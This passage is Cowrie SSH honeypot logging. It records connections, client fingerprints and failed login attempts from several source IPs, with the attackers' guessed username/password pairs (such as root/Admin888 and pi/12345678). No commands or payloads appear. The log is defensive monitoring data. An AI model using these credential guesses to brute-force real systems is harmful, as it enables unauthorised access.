{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:12.069775Z","src_ip":"91.92.40.171","session":"ebe7907db242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:12.280215Z","src_ip":"91.92.42.133","session":"ee12e741540a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"user","message":"login attempt [openclaw/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:12.695997Z","src_ip":"91.92.40.171","session":"ebe7907db242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:13.398165Z","src_ip":"91.92.42.133","session":"ee12e741540a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:13.784518Z","src_ip":"91.92.40.171","session":"ebe7907db242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58302,"dst_ip":"159.203.135.109","dst_port":22,"session":"498c90026bad","protocol":"ssh","message":"New connection: 91.92.40.171:58302 (159.203.135.109:22) [session: 498c90026bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:17.804523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:17.873185Z","src_ip":"91.92.40.171","session":"498c90026bad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:17.964424Z","src_ip":"91.92.40.171","session":"498c90026bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:18.271339Z","src_ip":"91.92.40.171","session":"498c90026bad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50860,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb4e09d356a2","protocol":"ssh","message":"New connection: 91.92.42.133:50860 (159.203.135.109:22) [session: eb4e09d356a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:19.077082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:19.095492Z","src_ip":"91.92.42.133","session":"eb4e09d356a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51392,"dst_ip":"159.203.135.109","dst_port":22,"session":"37100af9e9f1","protocol":"ssh","message":"New connection: 103.15.222.183:51392 (159.203.135.109:22) [session: 37100af9e9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:19.121764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:19.126005Z","src_ip":"103.15.222.183","session":"37100af9e9f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:19.196589Z","src_ip":"91.92.42.133","session":"eb4e09d356a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:19.378326Z","src_ip":"91.92.40.171","session":"498c90026bad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:19.381698Z","src_ip":"103.15.222.183","session":"37100af9e9f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password","message":"login attempt [tester/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:19.823834Z","src_ip":"91.92.42.133","session":"eb4e09d356a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03111982","message":"login attempt [root/03111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:20.148930Z","src_ip":"103.15.222.183","session":"37100af9e9f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50784,"dst_ip":"10.17.0.5","dst_port":22,"session":"c69337534baf","protocol":"ssh","message":"New connection: 27.71.230.31:50784 (10.17.0.5:22) [session: c69337534baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:20.512658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:20.533971Z","src_ip":"27.71.230.31","session":"c69337534baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:20.834523Z","src_ip":"27.71.230.31","session":"c69337534baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:21.405906Z","src_ip":"103.15.222.183","session":"37100af9e9f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:21.481063Z","src_ip":"91.92.42.133","session":"eb4e09d356a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58322,"dst_ip":"159.203.135.109","dst_port":22,"session":"4df397771c34","protocol":"ssh","message":"New connection: 91.92.40.171:58322 (159.203.135.109:22) [session: 4df397771c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:23.477469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:23.690323Z","src_ip":"91.92.40.171","session":"4df397771c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:23.693256Z","src_ip":"91.92.40.171","session":"4df397771c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin888","message":"login attempt [root/Admin888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:24.010727Z","src_ip":"27.71.230.31","session":"c69337534baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:24.592480Z","src_ip":"91.92.40.171","session":"4df397771c34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:25.244533Z","src_ip":"27.71.230.31","session":"c69337534baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38304,"dst_ip":"159.203.135.109","dst_port":22,"session":"7757abb6fd20","protocol":"ssh","message":"New connection: 91.92.42.133:38304 (159.203.135.109:22) [session: 7757abb6fd20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:25.746510Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:25.788839Z","src_ip":"91.92.40.171","session":"4df397771c34","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:26.004297Z","src_ip":"91.92.42.133","session":"7757abb6fd20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:26.007436Z","src_ip":"91.92.42.133","session":"7757abb6fd20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:27.731360Z","src_ip":"91.92.42.133","session":"7757abb6fd20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:29.234357Z","src_ip":"91.92.42.133","session":"7757abb6fd20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49348,"dst_ip":"159.203.135.109","dst_port":22,"session":"13ba5592d3ff","protocol":"ssh","message":"New connection: 91.92.40.171:49348 (159.203.135.109:22) [session: 13ba5592d3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:31.047536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:31.093876Z","src_ip":"91.92.40.171","session":"13ba5592d3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:31.692007Z","src_ip":"91.92.40.171","session":"13ba5592d3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38350,"dst_ip":"159.203.135.109","dst_port":22,"session":"cace5bbf9317","protocol":"ssh","message":"New connection: 91.92.42.133:38350 (159.203.135.109:22) [session: cace5bbf9317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:32.403114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:33.128478Z","src_ip":"91.92.42.133","session":"cace5bbf9317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 